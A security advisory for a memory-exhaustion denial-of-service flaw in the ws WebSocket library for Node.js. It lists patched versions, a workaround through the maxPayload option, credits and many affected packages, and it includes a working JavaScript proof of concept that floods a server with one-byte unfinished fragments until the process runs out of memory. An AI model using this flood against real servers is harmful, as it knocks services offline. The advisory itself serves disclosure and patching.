CVE-2026-48779

About vulnerability

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

Affected product:

@graphql-cli/common , @myx-trade/sdk , @pm2/agent , AngularJS , MetaMask/core , Node.js , apollo-client , apollo-upload-client , appkit , cbt_tunnels , celo-celocli , celo-connect , celo-contractkit , celo-dev-utils , celo-encrypted-backup , celo-explorer , celo-governance , celo-identity , celo-phone-number-privacy-common , core , developer-tooling , device-sdk-ts , dotansimha-graphql-yoga , ember-cli , engine.io , engine.io-client , eslint-plugin-graphql , eth-lib , ethereumjs-block , ethereumjs-evm , ethereumjs-monorepo , ethereumjs-statemanager , ethereumjs-vm , ethers.js , expect-webdriverio , gateway , graphql-code-generator , graphql-config , graphql-tools , graphql-tools-executor-legacy-ws , graphql-tools-links , graphql-tools-url-loader , isomorphic-ws , isows , karma , karma-mocha-reporter , km.js , magic-js , manifest , mento-sdk , metamask-account-tree-controller , metamask-accounts , metamask-assets-controller , metamask-assets-controllers , metamask-bridge-controller , metamask-bridge-status-controller , metamask-client-utils , metamask-earn-controller , metamask-eip-5792-middleware , metamask-ens-controller , metamask-gator-permissions-controller , metamask-multichain-account-service , metamask-multichain-network-controller , metamask-multichain-transactions-controller , metamask-network-enablement-controller , metamask-nonce-tracker , metamask-perps-controller , metamask-profile-metrics-controller , metamask-shield-controller , metamask-signature-controller , metamask-smart-transactions-controller , metamask-snaps-jest , metamask-snaps-simulation , metamask-subscription-controller , metamask-transaction-pay-controller , metamask-user-operation-controller , metamask-wallet , metro , miniflare , module-federation-core , nestjs/graphql , npm:@blockshake/defly-connect , npm:@ledgerhq/hw-app-eth , npm:@metamask/money-account-utils , nuxt , onflow-fcl-rainbowkit-adapter , open-wc-testing-karma , open-wc-testing-karma-bs , playwright-core , playwright-test , pm2 , porto , privy-io , protractor , puppeteer , rainbowkit , remix , selenium , snaps , socket.io , socket.io-client , subscriptions-transport-ws , swarm-js , testcafe , testem , tronwallet-adapter , tronweb , tronweb3-tronwallet-adapter-metamask-tron , use-wallet , vechain-sdk-js , vechain/vechain-sdk-js , viem , wagmi , wagmi-connectors , walletconnect-monorepo , wdio-allure-reporter , wdio-appium-service , wdio-browserstack-service , wdio-cli , wdio-cucumber-framework , wdio-dot-reporter , wdio-globals , wdio-junit-reporter , wdio-local-runner , wdio-runner , wdio-spec-reporter , web , web-test-runner-browserstack , web-test-runner-saucelabs , web3.js , web3modal , webdriverio , webpack-bundle-analyzer , workers-sdk , ws , x402

Affected packages:

viem @ 2.56.8 (+944 more)